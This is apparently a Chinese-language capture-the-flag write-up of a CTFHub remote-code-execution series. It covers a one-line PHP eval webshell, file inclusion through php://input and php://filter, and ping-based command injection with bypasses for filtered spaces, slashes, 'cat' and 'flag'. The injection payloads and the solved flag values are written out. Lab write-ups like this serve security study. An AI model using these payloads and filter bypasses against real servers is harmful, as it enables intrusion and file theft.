eval执行
<?phpif (isset($_REQUEST['cmd'])) { eval($_REQUEST["cmd"]);} else { highlight_file(__FILE__);}?>没限制,直接蚁剑连接,密码cmd,虚拟终端执行ls /命令可查看根目录文件,发现flag_15199,然后执行命令cat /flag_15199即可得到flag
![[eval执行.png]](/_astro/eval%E6%89%A7%E8%A1%8C.DkQWN3V3_Zitupq.webp)
文件包含
<?phperror_reporting(0);if (isset($_GET['file'])) { if (!strpos($_GET["file"], "flag")) { include $_GET["file"]; } else { echo "Hacker!!!"; }} else { highlight_file(__FILE__);}?>i have a shell how to use it ?
<?php eval($_REQUEST['ctfhub']);?>那就是先将这个shell.txt文件包含进去然后再进行命令执行
?file=shell.txt&ctfhub=system('cat /flag');# 得到flag:ctfhub{8453415e2163ff6e3014b4b6}也可以蚁剑连接,像上一题一样
php://input
<?phpif (isset($_GET['file'])) { if ( substr($_GET["file"], 0, 6) === "php://" ) { include($_GET["file"]); } else { echo "Hacker!!!"; }} else { highlight_file(__FILE__);}?>这里说明0-6,也就是前六个字符必须是php://,且得用POST方法
i don’t have shell, how to get flag?
phpinfo
去看一下phpinfo
allow_url_fopen和allow_url_include都是on。前者是 PHP 中控制是否允许通过URL形式(如http://、php://)访问文件或数据流的开关,当它设为On时,PHP才会支持所有基于封装协议的操作,这是php://input、php://filter等伪协议能被解析和使用的前提;后者主要控制是否允许通过include/require包含远程URL文件,当它设为On时,意味着可以直接用include(“php://input”)这种方式来执行伪协议中的代码,这在文件包含漏洞中是关键利用条件。
这两个同时为on,没什么限制,由此确定php://input可以用,那么直接对题目页面进行抓包,然后修改为POST方法,加上?file=php://input和<?php system('ls /') ?>
看到flag_22774,修改命令,发送得到flag
![[post.png]](/_astro/post.gTPmzo5a_ZtbmyP.webp)
读取源代码
<?phperror_reporting(E_ALL);if (isset($_GET['file'])) { if ( substr($_GET["file"], 0, 6) === "php://" ) { include($_GET["file"]); } else { echo "Hacker!!!"; }} else { highlight_file(__FILE__);}?>i don't have shell, how to get flag?flag in `/flag`说的很清楚了,直接用php://filter就好
?file=php://filter//resource=/flag![[rceflag.png]](/_astro/rceflag.CuecNRIn_Z1QDBVd.webp)
远程包含
<?phperror_reporting(0);if (isset($_GET['file'])) { if (!strpos($_GET["file"], "flag")) { include $_GET["file"]; } else { echo "Hacker!!!"; }} else { highlight_file(__FILE__);}?>i don’t have shell, how to get flag?
phpinfo
依旧去看看phpinfo
和之前的题目是一样的,那就还是php://input去做
直接抓包,修改方法,添加,执行命令
![[远程包含.png]](/_astro/%E8%BF%9C%E7%A8%8B%E5%8C%85%E5%90%AB.C31XlnLi_1FlqOi.webp)
命令注入
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) { $cmd = "ping -c 4 {$_GET['ip']}"; exec($cmd, $res);}
?>输入框里输入
127.0.0.1;ls成功执行,发现一个文件204371509120043.php 再执行
127.0.0.1;cat 204371509120043.php查看源码发现flagctfhub{3a64ad48f0c315a160da4752}
过滤cat
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/cat/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; }}?>只是把cat给过滤了,用其他方式绕一下就好
127.0.0.1;ls发现flag文件flag_25703484614607.php
127.0.0.1;less flag_25703484614607.php依旧查看源码发现flagctfhub{3f779cd5c8b2f7ccd1ed82d4}
过滤空格
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/ /", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; }}?>过滤了空格,问题不大,也一样有许多替代方式,随便用一个就好
< , <>, +,%20,%09,$IFS$9,${IFS},$IFS,$IFS$1,%0a %a0
127.0.0.1;ls发现flag文件flag_17842561216680.php
127.0.0.1;cat${IFS}flag_17842561216680.php读取源码发现flagctfhub{1d9c6aba30f257a2956b5aeb}
过滤目录分隔符
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/\//", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; }}?>先找找flag位置
127.0.0.1;ls看到flag_is_here
127.0.0.1;ls flag_is_here发现flag文件,flag_295791129511291.php,目录分隔符被过滤,没法使用127.0.0.1;cat flag_is_here/flag_295791129511291.php,可以使用cd命令进行目录切换
127.0.0.1;cd flag_is_here;cat flag_295791129511291.php然后查看源码就能看到flagctfhub{cb86ecf067e06e0ebccaeea1}
过滤运算符
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/(\||\&)/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; }}?>过滤了||跟&,emm,这俩符号前面的题也没用到过,先打看看flag在哪里
127.0.0.1;ls发现flag_305462780016044.php
127.0.0.1;cat flag_305462780016044.php找到flagctfhub{27323213839b86dfeabccb1b}
综合过滤联系
<?php
$res = FALSE;
if (isset($_GET['ip']) && $_GET['ip']) { $ip = $_GET['ip']; $m = []; if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) { $cmd = "ping -c 4 {$ip}"; exec($cmd, $res); } else { $res = $m; }}?>综合起来过滤的东西比较多
||、&、;、空格、/、cat、flag、ctfhub那以前的第一步127.0.0.1;ls就不能用了,可以用%0a代替分隔符
?ip=127.0.0.1%0als发现flag_is_here,接下来打开这个文件,空格被过滤那就${IFS},而且flag被过滤了,用\隔开
?ip=127.0.0.1%0als${IFS}f\lag_is_here发现flag_8501755116084.php,由于/、;和cat都被禁止了,那就cd切换目录,然后less打开
?ip=127.0.0.1%0acd${IFS}f\lag_is_here%0aless${IFS}f\lag_8501755116084.php查看源码,成功找到flagctfhub{d5cd8f3a38a86d6232d329a6}